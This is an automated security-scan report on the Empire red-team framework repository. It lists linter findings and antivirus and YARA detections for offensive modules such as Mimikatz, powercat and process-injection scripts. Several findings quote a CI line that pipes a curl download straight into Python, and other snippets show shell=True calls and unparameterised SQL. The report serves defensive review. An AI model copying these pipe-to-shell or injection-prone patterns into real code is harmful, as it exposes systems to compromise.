Scan report
BC-SECURITY / Empire
Could an attacker exploit mistakes in this code?
Strong warning signs. Do not run or install this without a careful review.
- High
- 46
- Medium
- 178
- Low
- 77
Sources: Bandit, Semgrep, pip-audit
Does this code look like it is trying to cause harm?
Strong warning signs. Do not run or install this without a careful review.
- High
- 92
- Medium
- 2
- Low
- 49
Sources: YARA, ClamAV, GuardDog, dependency checker
- Likely real
- 159
- Uncertain
- 115
- Likely noise
- 170
The risk classifier rates every finding for how likely it is to be a real issue. Likely noise still counts, just much less.
What we found, in plain English
This repository has been flagged as critical because it contains both severe insecure coding patterns and clear signs of malicious intent, resulting in a vulnerability score of 593.0 and a malicious-pattern score of 241.0. The most alarming issues involve the use of curl piped directly into shell commands like bash, which allows attackers to easily install malware if the code is compromised or the URL is hijacked. Additionally, the code contains multiple instances of ClamAV detections for known malicious agents and tools, such as LinPEAS and DotNetToJScript, indicating that the repository likely hosts active exploits or malware rather than just standard bugs. While some findings like using Jinja2 templates with autoescape disabled could lead to cross-site scripting (XSS), these are treated as ordinary insecure coding practices rather than intentional attacks.
Written by a local language model from the findings below. The risk scores come from the classifier, not from this summary.
Detections by engine
Score over time
Overall score each time this repository was scanned.
Findings
Highest severity first. Select a finding to see the code and what it means.
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-private-tag.yml line 28
- Likely real
- Yes, 99% confidence
A `run:` step pipes the output of `curl` or `wget` directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.
run: | curl -sL https://install.python-poetry.org | python - -y -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-private-start.yml line 41
- Likely real
- Yes, 99% confidence
A `run:` step pipes the output of `curl` or `wget` directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.
run: | curl -sL https://install.python-poetry.org | python - -y -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 187
- Likely real
- Yes, 99% confidence
A `run:` step pipes the output of `curl` or `wget` directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.
run: | curl -sL https://install.python-poetry.org | python - -y -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 135
- Likely real
- Yes, 99% confidence
A `run:` step pipes the output of `curl` or `wget` directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.
run: | curl -sL https://install.python-poetry.org | python - -y -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/lint-and-test.yml line 40
- Likely real
- Yes, 99% confidence
A `run:` step pipes the output of `curl` or `wget` directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.
run: | curl -sL https://install.python-poetry.org | python - -y -
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/python/situational_awareness/LinPEAS.py
- Likely real
- Yes, 98% confidence
ClamAV detected: Unix.Tool.LinPEASS-10004077-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/x64_slim.dll
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Trojan.Generic-10024536-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/machotemplate
- Likely real
- Yes, 98% confidence
ClamAV detected: Osx.Malware.Agent-6509323-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/ReflectivePick_x64_orig.dll
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Trojan.Generic-10024536-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/lateral_movement/Invoke-SMBExec.ps1
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Exploit.CVE_2017_0144-7404604-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/privesc/PowerUp.ps1
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Countermeasure.DotNetToJScript-9804890-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/management/powercat.ps1
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Trojan.Powercat-9840812-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/management/Invoke-ReflectivePEInjection.ps1
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Exploit.PowerSploit-6983656-2
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/collection/Get-Keystrokes.ps1
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Trojan.BabySharkPS1-3-7404875-2
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/apptemplateResources/empty/macho
- Likely real
- Yes, 98% confidence
ClamAV detected: Osx.Malware.Agent-6537989-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher
- Likely real
- Yes, 98% confidence
ClamAV detected: Osx.Malware.Agent-7367901-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher
- Likely real
- Yes, 98% confidence
ClamAV detected: Osx.Malware.Agent-6494195-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/ReflectivePick_x86_orig.dll
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Trojan.Generic-10024536-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/x86_slim.dll
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Trojan.Generic-10024536-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/credentials/Invoke-CredentialInjection.ps1
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Trojan.PSempireInj-7013548-0
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/management/Invoke-PSInject.ps1
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Trojan.PSempireInj-7013548-0
-
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/go.py line 79
- Likely real
- Yes, 97% confidence
Using jinja2 templates with autoescape=False is dangerous and can lead to XSS. Use autoescape=True or use the select_autoescape function to mitigate XSS vulnerabilities.
78 self.install_path = install_path 79 self.jinja_env = jinja2.Environment( 80 loader=jinja2.FileSystemLoader( 81 str(self.install_path / "data/agent/gopire") 82 ), 83 autoescape=False, # noqa: S701 - renders attack payloads/scripts, not HTML; autoescaping would corrupt output 84 ) 85 self._go_binary = _resolve_go_binary() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/actions/clean-merge/action.yml line 26
- Likely real
- Yes, 57% confidence
Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
run: | git merge --no-edit ${{ inputs.from-branch }} if [ $? -ne 0 ]; then echo "Merge failed. Aborting. This is likely caused by a conflict and the merge must be done manually." exit 1 fi git diff ${{ inputs.push-repo }}/${{ inputs.to-branch }} --exit-code --quiet if [ $? -eq 0 ]; then echo "No changes needed to merge." echo "MERGE_STATUS=NO_CHANGES" >> $GITHUB_ENV else echo "Changes needed to merge." echo "MERGE_STATUS=CHANGES" >> $GITHUB_ENV fi exit 0 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/actions/clean-merge/action.yml line 19
- Likely real
- Yes, 57% confidence
Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
run: | git checkout ${{ inputs.to-branch }} git clean -xfd git reset --hard -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-sponsor-kali-tag.yml line 15
- Likely real
- Yes, 57% confidence
Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
run: | echo "TAG_NAME=$(echo ${{ github.head_ref }} | sed 's/release\///')" >> $GITHUB_ENV -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-sponsor-kali-start.yml line 16
- Likely real
- Yes, 57% confidence
Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
run: | echo "TARGET_BRANCH=sponsors-main" >> $GITHUB_ENV echo "STARKILLER_TAG=${{ github.event.inputs.starkillerVersion }}-sponsors" >> $GITHUB_ENV -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-private-start.yml line 44
- Likely real
- Yes, 57% confidence
Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
run: | OLD_VERSION=$(poetry version -s) if [ -n "${{ github.event.inputs.overrideVersion }}" ]; then poetry version ${{ github.event.inputs.overrideVersion }} else poetry version ${{ github.event.inputs.bumpType }} fi APP_VERSION=$(poetry version -s) echo "APP_VERSION=$(poetry version -s)" >> $GITHUB_ENV sed -i "s/$OLD_VERSION\ BC\ Security/$APP_VERSION\ BC\ Security/" empire/server/common/empire.py -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/cherry-pick-main.yml line 48
- Likely real
- Yes, 57% confidence
Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
run: | echo "COMMIT_HASH=${{ github.event.inputs.commitHash }}" >> $GITHUB_ENV -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/actions/update-starkiller/action.yml line 36
- Likely real
- Yes, 57% confidence
Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
run: | git add -A git commit --message "Update starkiller version to ${{ inputs.starkiller-version }}" -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/actions/update-starkiller/action.yml line 32
- Likely real
- Yes, 57% confidence
Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
run: | sed -i '/## \[${{ inputs.app-version }}\]/a - Updated Starkiller to ${{ inputs.starkiller-version }}' ${{ inputs.changelog-path }} -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/actions/update-starkiller/action.yml line 28
- Likely real
- Yes, 57% confidence
Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
run: | yq -i '.starkiller.ref = "${{ inputs.starkiller-version }}"' empire/server/config.yaml -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/actions/update-starkiller/action.yml line 24
- Likely real
- Yes, 57% confidence
Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
run: | yq -i '.starkiller.repo = "${{ inputs.repo }}"' empire/server/config.yaml -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/actions/clean-merge/action.yml line 45
- Likely real
- Yes, 57% confidence
Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
run: | git push ${{ inputs.push-repo }} ${{ inputs.to-branch }} echo "MERGE_STATUS=NO_CHANGES" >> $GITHUB_ENV -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/obfuscation_service.py line 133
- Likely real
- Yes, 55% confidence
Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
shell=True, -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/base.py line 70
- Likely real
- Yes, 55% confidence
sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as `or_()`, `and_()`, etc.) to construct SQL.
connection.execute(text(cmd)) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/alembic/versions/0007_tags_as_labels.py line 99
- Likely real
- Yes, 55% confidence
sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as `or_()`, `and_()`, etc.) to construct SQL.
text(f"UPDATE tags SET name = {fold_expr}, value = '' WHERE value <> ''") # noqa: S608 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/base.py line 414
- Likely real
- Yes, 55% confidence
sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as `or_()`, `and_()`, etc.) to construct SQL.
text( f""" SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = '{database_name}' AND table_name = 'hosts' AND column_name = 'unique_check' """ ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/alembic/versions/0007_tags_as_labels.py line 122
- Likely real
- Yes, 54% confidence
sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as `or_()`, `and_()`, etc.) to construct SQL.
text(f"UPDATE {tbl} SET tag_id = :s WHERE tag_id = :d"), # noqa: S608 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/base.py line 97
- Likely real
- Yes, 54% confidence
sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as `or_()`, `and_()`, etc.) to construct SQL.
connection.execute(text(f"CREATE DATABASE IF NOT EXISTS {database_name}")) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/alembic/versions/0007_tags_as_labels.py line 156
- Likely real
- Yes, 54% confidence
sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as `or_()`, `and_()`, etc.) to construct SQL.
text(f"INSERT INTO {tbl} ({col_list}) VALUES ({placeholders})"), # noqa: S608 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/alembic/versions/0007_tags_as_labels.py line 154
- Likely real
- Yes, 54% confidence
sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as `or_()`, `and_()`, etc.) to construct SQL.
bind.execute(text(f"DELETE FROM {tbl}")) # noqa: S608 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/alembic/versions/0007_tags_as_labels.py line 149
- Likely real
- Yes, 54% confidence
sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as `or_()`, `and_()`, etc.) to construct SQL.
rows = bind.execute(text(f"SELECT {col_list} FROM {tbl}")).all() # noqa: S608 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 865
- Likely real
- Yes, 54% confidence
Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/linuxprivchecker.py line 27
- Likely real
- Yes, 53% confidence
Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
[cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/modules/python/privesc/multi/CVE-2021-4034.py line 39
- Likely real
- Yes, 53% confidence
Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
output = subprocess.check_output(command, shell=True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/windows/cmd_exec.py line 146
- Likely real
- Yes, 53% confidence
Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
return subprocess.check_output(msf_command, shell=True) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 794
- Likely real
- Yes, 53% confidence
Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.
shell=True, -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/config/data_manager.py line 297
- Likely real
- Uncertain, 47% confidence
Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker
tarfile.open(fileobj=resp.raw, mode="r|gz") as tar, ): # filter="data" guards against path traversal in the downloaded archive. tar.extractall(compiler_dir, filter="data") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/plugin_service.py line 314
- Likely real
- Uncertain, 47% confidence
Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker
tarfile.open(fileobj=fileobj, mode="r|*") as tar, ): # filter="data" guards against path traversal in the plugin archive. tar.extractall(path=temp_dir, filter="data") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/plugin_service.py line 329
- Likely real
- Uncertain, 47% confidence
Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker
with tarfile.open(fileobj=response.raw, mode="r|*") as tar: # filter="data" guards against path traversal in the plugin archive. tar.extractall(path=temp_dir, filter="data") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/gopire/agent/agent.go line 99
- Likely real
- Uncertain, 46% confidence
Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.
cmd := exec.Command(command, cmdargs...) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/gopire/common/utils.go line 19
- Likely real
- Uncertain, 46% confidence
Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.
cmd = exec.Command("sh", "-c", command) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/common/templating.py line 20
- Likely real
- Uncertain, 42% confidence
By default, jinja2 sets autoescape to False. Consider using autoescape=True or use the select_autoescape function to mitigate XSS vulnerabilities.
19 """ 20 env = jinja2.Environment( # noqa: S701 - renders attack payloads/scripts, not HTML; autoescaping would corrupt output 21 loader=jinja2.FileSystemLoader(path), 22 comment_start_string='"""', 23 comment_end_string='"""', 24 line_comment_prefix="#", 25 ) 26 -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/csharp/management/StratumMiner.yaml
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/bof/spawn/hollow.x64.o
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/credentials/Invoke-CredentialInjection.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/management/Invoke-ReflectivePEInjection.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/privesc/Invoke-BypassUAC.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/collection/Invoke-NetRipper.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/management/Invoke-PSInject.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/collection/Invoke-NinjaCopy.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/credentials/Invoke-DCSync.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/management/Invoke-Vnc.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/code_execution/Invoke-Shellcode.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/code_execution/Invoke-DllInjection.ps1
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/profiles/Normal/jquery-c2.4.2.profile
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/profiles/Crimeware/bazarloader.profile
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/profiles/Normal/zillow.profile
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/profiles/template.profile
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/powershell/code_execution/thread_execution_hijack.yaml
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_process_injection — Windows process-injection API sequence
-
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/linuxprivchecker.py line 31
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
30 else: # older version of python, use os.popen 31 echo_stdout = os.popen(cmd, "r") 32 results = echo_stdout.read().split("\n") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/windows/cmd_exec.py line 146
- Likely real
- Uncertain, 33% confidence
subprocess call with shell=True identified, security issue.
145 print(f"[*] MSF command -> {msf_command}") 146 return subprocess.check_output(msf_command, shell=True) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 794
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
793 stderr=subprocess.STDOUT, 794 shell=True, 795 ) 796 # errors="replace" tolerates non-UTF8 console output (e.g. CP1252 on Windows). 797 return p.communicate()[0].strip().decode("utf-8", errors="replace") 798 799 def get_file_part(self, filePath, offset=0, chunkSize=512000, base64=True): 800 if not os.path.exists(filePath): 801 return "" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/linuxprivchecker.py line 27
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
26 out, error = sub.Popen( 27 [cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True 28 ).communicate() 29 results = out.decode().split("\n") 30 else: # older version of python, use os.popen -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/obfuscation_service.py line 133
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
